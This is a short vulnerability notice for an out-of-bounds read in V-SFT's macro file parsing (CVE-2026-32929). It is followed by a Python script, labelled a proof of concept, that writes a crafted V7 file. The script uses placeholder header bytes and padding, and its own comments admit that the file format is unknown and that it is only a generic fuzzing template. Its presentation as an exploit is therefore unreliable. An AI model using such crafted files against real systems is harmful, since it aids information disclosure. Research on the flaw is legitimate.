V-SFT versions 6.2.10.0 and prior contain an out-of-bounds read in VS6ComFile!get_macro_mem_COM. Opening a crafted V7 file may lead to information disclosure from the affected product.
The following code is for security research and authorized testing only.
python
import os
# PoC for CVE-2026-32929
# This script generates a crafted V7 file to trigger the out-of-bounds read.
# Note: The specific structure of a V7 file requires reverse engineering.
# This is a generic fuzzing template.
def generate_poc(filename):
# Generic header or magic bytes (placeholder)
header = b'\x56\x37\x00\x00'
# Padding to reach the vulnerable offset
padding = b'A' * 0x100
# Malicious payload designed to trigger OOB read
payload = padding + b'\x00' * 0x50
with open(filename, 'wb') as f:
f.write(header + payload)
print(f"PoC file generated: {filename}")
if __name__ == "__main__":
generate_poc("exploit_v7.v7")